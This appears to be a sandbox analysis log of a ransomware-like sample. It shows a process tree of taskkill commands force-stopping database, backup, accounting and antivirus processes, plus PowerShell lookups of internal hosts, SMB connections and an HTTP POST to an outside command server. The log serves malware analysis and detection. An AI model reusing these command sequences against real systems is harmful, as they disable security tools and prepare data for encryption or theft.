C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM mssql*2⤵
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM mssql*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3660
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM mysql*2⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM mysql*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:676
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM wxServerView*2⤵
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM wxServerView*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3112
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sqlmangr*2⤵
- Suspicious use of WriteProcessMemory
PID:408 -
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sqlmangr*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM RAgui*2⤵PID:948
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM RAgui*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM supervise*2⤵PID:3880
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM supervise*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:280
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Culture*2⤵PID:3428
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Culture*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:980
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Defwatch*2⤵PID:3836
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Defwatch*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3140
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM winword*2⤵PID:3572
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM winword*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3420
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBW32*2⤵PID:1052
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBW32*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3584
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBDBMgr*2⤵PID:3064
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBDBMgr*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM qbupdate*2⤵PID:792
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM qbupdate*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3720
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM axlbridge*2⤵PID:948
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM axlbridge*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1264
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM httpd*2⤵PID:4024
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM httpd*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:840
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM fdlauncher*2⤵PID:1416
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM fdlauncher*3⤵PID:3800
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MsDtSrvr*2⤵PID:3912
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MsDtSrvr*3⤵
- Kills process with taskkill
PID:3140
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM java*2⤵PID:4008
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM java*3⤵
- Kills process with taskkill
PID:3108
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM 360se*2⤵PID:2860
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM 360se*3⤵PID:1652
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM 360doctor*2⤵PID:1096
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM 360doctor*3⤵
- Kills process with taskkill
PID:2856
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM wdswfsafe*2⤵PID:1964
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM wdswfsafe*3⤵
- Kills process with taskkill
PID:3064
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM fdhost*2⤵PID:1892
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM fdhost*3⤵
- Kills process with taskkill
PID:3720
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM GDscan*2⤵PID:2516
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM GDscan*3⤵
- Kills process with taskkill
PID:1264
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM ZhuDongFangYu*2⤵PID:3808
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM ZhuDongFangYu*3⤵
- Kills process with taskkill
PID:840
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBDBMgrN*2⤵PID:3840
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBDBMgrN*3⤵
- Kills process with taskkill
PID:260
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM mysqld*2⤵PID:3868
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM mysqld*3⤵
- Kills process with taskkill
PID:2412
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM AutodeskDesktopApp*2⤵PID:332
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM AutodeskDesktopApp*3⤵
- Kills process with taskkill
PID:3812
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM acwebbrowser*2⤵PID:1588
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM acwebbrowser*3⤵PID:2184
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Creative Cloud*2⤵PID:3368
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Creative Cloud*3⤵
- Kills process with taskkill
PID:1036
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Adobe Desktop Service*2⤵PID:2032
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Adobe Desktop Service*3⤵
- Kills process with taskkill
PID:2164
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM CoreSync*2⤵PID:3636
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM CoreSync*3⤵
- Kills process with taskkill
PID:3832
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Adobe CEF Helper*2⤵PID:1784
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Adobe CEF Helper*3⤵PID:1188
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM node*2⤵PID:1904
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM node*3⤵PID:1260
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM AdobeIPCBroker*2⤵PID:1264
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM AdobeIPCBroker*3⤵PID:1384
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sync-taskbar*2⤵PID:892
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sync-taskbar*3⤵
- Kills process with taskkill
PID:1380
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sync-worker*2⤵PID:1412
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sync-worker*3⤵PID:3844
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM InputPersonalization*2⤵PID:2744
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM InputPersonalization*3⤵
- Kills process with taskkill
PID:3824
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM AdobeCollabSync*2⤵PID:3412
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM AdobeCollabSync*3⤵PID:2536
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM BrCtrlCntr*2⤵PID:1532
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM BrCtrlCntr*3⤵PID:3584
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM BrCcUxSys*2⤵PID:1540
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM BrCcUxSys*3⤵
- Kills process with taskkill
PID:3012
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SimplyConnectionManager*2⤵PID:408
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SimplyConnectionManager*3⤵
- Kills process with taskkill
PID:2164
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Simply.SystemTrayIcon*2⤵PID:2988
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Simply.SystemTrayIcon*3⤵
- Kills process with taskkill
PID:3832
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM fbguard*2⤵PID:3708
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM fbguard*3⤵
- Kills process with taskkill
PID:568
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM fbserver*2⤵PID:948
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM fbserver*3⤵PID:488
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM ONENOTEM*2⤵PID:3724
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM ONENOTEM*3⤵
- Kills process with taskkill
PID:1316
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM wrapper*2⤵PID:272
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM wrapper*3⤵
- Kills process with taskkill
PID:3808
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM DefWatch*2⤵PID:2740
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM DefWatch*3⤵PID:640
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM ccEvtMgr*2⤵PID:3816
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM ccEvtMgr*3⤵
- Kills process with taskkill
PID:3436
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM ccSetMgr*2⤵PID:1820
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM ccSetMgr*3⤵
- Kills process with taskkill
PID:1524
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SavRoam*2⤵PID:1588
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SavRoam*3⤵PID:2876
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Sqlservr*2⤵PID:1768
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Sqlservr*3⤵
- Kills process with taskkill
PID:2236
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sqlagent*2⤵PID:2176
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sqlagent*3⤵
- Kills process with taskkill
PID:1128
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sqladhlp*2⤵PID:2308
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sqladhlp*3⤵
- Kills process with taskkill
PID:2984
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Culserver*2⤵PID:1628
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Culserver*3⤵PID:3720
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM RTVscan*2⤵PID:4024
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM RTVscan*3⤵
- Kills process with taskkill
PID:3712
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sqlbrowser*2⤵PID:1012
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sqlbrowser*3⤵PID:2528
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLADHLP*2⤵PID:1912
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLADHLP*3⤵
- Kills process with taskkill
PID:3800
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBIDPService*2⤵PID:3660
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBIDPService*3⤵
- Kills process with taskkill
PID:3844
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM Intuit.QuickBooks.FCS*2⤵PID:2108
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM Intuit.QuickBooks.FCS*3⤵
- Kills process with taskkill
PID:3848
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM QBCFMonitorService*2⤵PID:2152
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM QBCFMonitorService*3⤵
- Kills process with taskkill
PID:1712
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM sqlwriter*2⤵PID:388
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM sqlwriter*3⤵
- Kills process with taskkill
PID:3112
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM msmdsrv*2⤵PID:2244
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM msmdsrv*3⤵
- Kills process with taskkill
PID:1100
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM tomcat6*2⤵PID:884
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM tomcat6*3⤵PID:1560
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM zhudongfangyu*2⤵PID:2168
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM zhudongfangyu*3⤵
- Kills process with taskkill
PID:1900
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM vmware-usbarbitator64*2⤵PID:792
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM vmware-usbarbitator64*3⤵
- Kills process with taskkill
PID:3720
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM vmware-converter*2⤵PID:2516
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM vmware-converter*3⤵PID:3712
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM dbsrv12*2⤵PID:280
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM dbsrv12*3⤵
- Kills process with taskkill
PID:2528
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM dbeng8*2⤵PID:1976
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM dbeng8*3⤵
- Kills process with taskkill
PID:3800
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*2⤵PID:3428
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$MICROSOFT##WID*3⤵
- Kills process with taskkill
PID:3844
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$VEEAMSQL2012*2⤵PID:2756
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$VEEAMSQL2012*3⤵
- Kills process with taskkill
PID:3848
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLAgent$VEEAMSQL2012*2⤵PID:4012
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLAgent$VEEAMSQL2012*3⤵PID:3444
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLBrowser*2⤵PID:576
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLBrowser*3⤵
- Kills process with taskkill
PID:2184
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLWriter*2⤵PID:1612
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLWriter*3⤵PID:3368
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM FishbowlMySQL*2⤵PID:2996
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM FishbowlMySQL*3⤵
- Kills process with taskkill
PID:1732
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$MICROSOFT##WID*2⤵PID:3064
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$MICROSOFT##WID*3⤵
- Kills process with taskkill
PID:3600
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MySQL57*2⤵PID:3016
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MySQL57*3⤵
- Kills process with taskkill
PID:568
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*2⤵PID:3924
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$KAV_CS_ADMIN_KIT*3⤵PID:488
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQLServerADHelper100*2⤵PID:2468
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQLServerADHelper100*3⤵
- Kills process with taskkill
PID:1316
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*2⤵PID:3880
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLAgent$KAV_CS_ADMIN_KIT*3⤵PID:3808
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM msftesql-Exchange*2⤵PID:1992
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM msftesql-Exchange*3⤵PID:640
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$MICROSOFT##SSEE*2⤵PID:1520
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$MICROSOFT##SSEE*3⤵
- Kills process with taskkill
PID:3436
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$SBSMONITORING*2⤵PID:3836
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$SBSMONITORING*3⤵
- Kills process with taskkill
PID:2152
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQL$SHAREPOINT*2⤵PID:2224
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQL$SHAREPOINT*3⤵
- Kills process with taskkill
PID:3232
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*2⤵PID:3572
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQLFDLauncher$SBSMONITORING*3⤵
- Kills process with taskkill
PID:2856
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*2⤵PID:2304
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM MSSQLFDLauncher$SHAREPOINT*3⤵
- Kills process with taskkill
PID:2160
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLAgent$SBSMONITORING*2⤵PID:3612
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLAgent$SBSMONITORING*3⤵PID:3076
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /C taskkill /F /T /IM SQLAgent$SHAREPOINT*2⤵PID:3852
-
C:\Windows\system32\taskkill.exetaskkill /F /T /IM SQLAgent$SHAREPOINT*3⤵
- Kills process with taskkill
PID:3464
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell [System.Net.Dns]::GetHostByAddress('10.10.0.12').hostname2⤵
- Suspicious behavior: EnumeratesProcesses
PID:948
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell [System.Net.Dns]::GetHostByAddress('10.10.0.29').hostname2⤵
- Suspicious behavior: EnumeratesProcesses
PID:980
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:3988
Network
-
Remote address:217.8.117.26:80RequestPOST /gateinfo HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)
Host: 217.8.117.26
Content-Length: 4097
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1
ETag: W/"1-NWoZK3kTsExUV00Ywo1G5jlUKKs"
Set-Cookie: connect.sid=s%3Abf48a88d-5eed-4bea-8891-894aa0a8ad08.N4IbFgaapNPPlcW%2B7VMsAPlK4QXWJ5C7U2Dvq%2Fac1Ug; Path=/; HttpOnly
Date: Thu, 23 Jul 2020 15:00:32 GMT
Connection: keep-alive
-
Remote address:8.8.8.8:53Request12.0.10.10.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request29.0.10.10.in-addr.arpaIN PTRResponse
-
8.9kB 704 B 12 8
HTTP Request
POST http://217.8.117.26/gateinfoHTTP Response
200 -
190 B 132 B 4 3
-
156 B 3
-
144 B 132 B 3 3
-
190 B 92 B 4 2
-
190 B 132 B 4 3
-
144 B 132 B 3 3
-
190 B 92 B 4 2
-
10.10.0.12:445smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb3.9kB 4.6kB 25 20 -
10.10.0.29:445smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb3.8kB 4.6kB 23 20
-
156 B 3
-
156 B 3